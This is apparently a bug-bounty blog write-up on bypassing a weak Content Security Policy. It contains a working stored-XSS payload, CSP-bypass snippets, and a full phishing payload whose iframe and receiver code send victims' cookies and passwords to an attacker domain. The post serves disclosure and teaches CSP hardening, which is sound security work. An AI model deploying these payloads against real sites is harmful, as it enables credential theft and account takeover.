Exploiting weak Content Security Policy (CSP) rules for fun and profit

Hacking / July 21, 2016 • 5 min read

Tags: Bug Bounty Web Application Security

This article is based on my findings during a bug bounty. I was looking for any input bugs which could trigger a XSS but didn’t find any until I tested the file upload functionality. Users had the option to drag&drop images into the company’s website and place it in their gallery, however by specifying an image like this:

1<img src="https://hackerdomain.hax/img.php" onerror="this.src=alert(1)"/>

And dropping it into the website trigged an XSS.

Before I continue my report I will first cover what CSP is and what it tries to accomplish. If you feel you are already experienced in the area you can skip to the next section.

What is CSP?

Content Security Policy (CSP) is a client-side security model which allows developers to specify where different types of resources should be loaded, executed and embedded from. With CSP you can instruct the browser only to load javascript resources from a specific domain as well as block inline javascript running on the website. This is very helpful against XSS since most attacks requires inline javascript. There also the possibility to specify a report-uri which the browser uses to send detected policy violations (of course this can be spoofed).

However CSP is only effective if used fully, i.e blocking inline javascript and loading resources from trusted domains. This requirement can be too strict for some websites, that’s why there are certain work arounds such as using nonces that whitelists specific <script></script> tags.

It should be noted that even using trusted sources wont always protect you. If JSONP is enabled or e.g. angularjs is hosted on the whitelisted source, it is possible to bypass CSP with the following:

JSONP
<script src="https://whitelisted.com/jsonp?callback=alert">
AngularJS
<script src="https://whitelisted.com/angularjs/1.1.3/angularjs.min.js">
<div ng-app ng-csp id=p ng-click=$event.view.alert(1)>

Weaknesses

As I mentioned earlier the company had employed CSP which is a good step in the right direction but because of its weak rules I could bypass it entirely and run whatever javascript I wanted once triggered.

Below you can see a copy of the CSP:

default-src 'self' https://*.company.com https://*.companyimg.com  *.company.com *.companyimg.com *.google.com connect.facebook.net *.google-analytics.com https://*.googleapis.com *.gstatic.com https://*.facebook.com *.facebook.com www.googleadservices.com googleads.g.doubleclick.net platform.twitter.com *.tiles.mapbox.com *.online-metrix.net *.bnc.lt bnc.lt *.yozio.com 'unsafe-inline' 'unsafe-eval';

media-src 'self' *.companyimg.com blob:;

frame-src *;

connect-src 'self' *.mapbox.com *.company.com company.s3.amazonaws.com ;

img-src * data:;

The default-src directive is set to only load resources from self and the other domains listed unless specified otherwise by other directives. If you haven’t noticed it unsafe-inline and unsafe-eval is also present, which means running inline javascript is allowed by default.

Other directives that are of interest is the frame-src and img-src because they allow resources to be loaded from anywhere. By exploiting unsafe-inline and unsafe-eval for running inline javascript, frame-src for sending data to the attacker’s domain and img-src to trigger the initial XSS we can deliver a powerful payload.

The attack

First we construct the image which the victim will drag&drop into their gallery:

1<img src="https://hackerdomain.hax/img.php" onerror="this.src=alert(1)"/>

This works because the CSP allows images to be loaded from anywhere. You may wonder why the JS is only triggered onerror and why the domain it set to /img.php.

Once the victim has dropped the image into their gallery, the website will contact the hacker’s domain to get a thumbnail image. The img.php script will detect the if the HTTP_REFERER is set to company.com which in that case will return a 404 causing the onerror attribute to execute.

img.php
 1
 2if(isset($_SERVER['HTTP_REFERER'])) {
 3    $ref = $_SERVER['HTTP_REFERER'];
 4} else {
 5    $ref = "nope";
 6}
 7
 8$pattern = '/.+company.com.+/';
 9preg_match($pattern, $ref, $matches);
10
11if($matches) {
12    return header("HTTP/1.0 404 Not Found");
13    die();
14} else {
15    $name = 'hunter2.jpg';
16    $fp = fopen($name, 'rb');
17
18    header("Content-Type: image/jpeg");
19    header("Content-Length: " . filesize($name));
20
21    fpassthru($fp);
22}

Now we can successfully run javascript in the victim’s DOM, what next? My next step was to steal the user’s cookies but the session cookie was set to HttpOnly which instructs the browser to not allow javascript to access the cookie. Bummer!

My next thought was to change the user’s email address to my email and then preform a Forgot password which will send the password reset link to my email. However I noticed that once the email has been changed, the user will get a notification and the ability to lock the account. This could still be a viable attack vector depending on how long the user can wait until their ability to lock their account expires.

Lets go phishing

Instead I chose to try to trick the user into enter their account password because they had been logged out. To accomplish this I needed to build a HTML Form, hide all other HTML elements and be able to send the data to my server.

The communication part was the tricky part because the CSP only allows XMLHttpRequest to be used for specific domains. However after a bit of researching I found that I can communicate via iframes and to my luck iframes could be loaded from anywhere according to the CSP. Tunneling data via iframes can be visualised as followed:


The injected iframe looks like the following:

1<iframe src="https://hackerdomain.com/recv.html" name="siteb" id="myframe" style="display:none"></iframe>

Once the user enters their password and clicks submit, the following script will send the data to the iframe.

 1<script type="text/javascript">
 2    form.onsubmit = function() {
 3
 4        pw=document.getElementById('mypw').value;
 5        c=document.cookie;
 6        data={'cookie':c,'pw':pw};
 7        fi=document.getElementById('myframe');
 8        fi.postMessage(JSON.stringify(data),'*');
 9
10    }
11</script>

Below you can find the code which receives the data.

hackerdomain.com/recv.html
 1<div id="message"></div>
 2<script>
 3window.addEventListener('message', writeMessage, false);
 4function writeMessage(event) {
 5    var xmlHttp = new XMLHttpRequest();
 6    data = JSON.parse(event.data);
 7    xmlHttp.open( "GET", "https://hackerdomain/stl.php?c="+data.cookie+"&pw="+data.pw, false ); // false for synchronous request
 8    xmlHttp.send();
 9    document.getElementById("message").innerHTML = event.data;
10}
11</script>

Once the data has been sent to my domain, from there I can send it to my cookie stealer script and save the data. The final payload can be viewed below:

Final Payload
1<img src="https://hackerdomain/img.php" onerror="this.src=a=document.getElementsByTagName('head')[0];f=document.createElement('iframe');f.src='https://hackerdomain.com/recv.html';f.name='siteb';f.id='myframe';f.setAttribute('style','display:none');b=document.createElement('script');div=document.createElement('div');div.style='width:660;height:90%;font:16px Arial;padding:3em;text-align:center;margin:auto;';form=document.createElement('form');form.action='#';inp=document.createElement('input');inp.type='password';inp.id='mypw';sub=document.createElement('input');sub.type='submit';sub.id='subid';form.appendChild(inp);form.appendChild(sub);s='*';t='You have been logged out. Please login below to access your account.';b.type='text/javascript';document.body.appendChild(f);fi=document.getElementById('myframe').contentWindow;b.appendChild(document.createTextNode('form.onsubmit = function() {pw=document.getElementById(\'mypw\').value;c=document.cookie;data={\'cookie\':c,\'pw\':pw};fi.postMessage(JSON.stringify(data),\'*\');}'));le=document.getElementsByClassName('left pane')[0];le.setAttribute('style','display:none');ri=document.getElementsByClassName('right pane')[0];ri.setAttribute('style','display:none');c=document.getElementsByClassName('cancelButton')[0];c.setAttribute('style','display:none');a.appendChild(b);m=document.getElementsByClassName('create modelimg')[0];m.style='overflow:hidden;';m.appendChild(div);div.innerHTML=t;div.appendChild(form);"/>

Conclusion

While CSP is a great tool to limit the attack surface for potential attackers, it must be configured properly otherwise you might as well not use it. As shown in this article, the website I was looking for bugs on did use CSP however because of three policy directives which allowed inline javascript, iframes and images to be loaded from anywhere I could successfully mount an attack against any user of the site. This shows how important it is to be aware of the security models you deploy as a developer.

References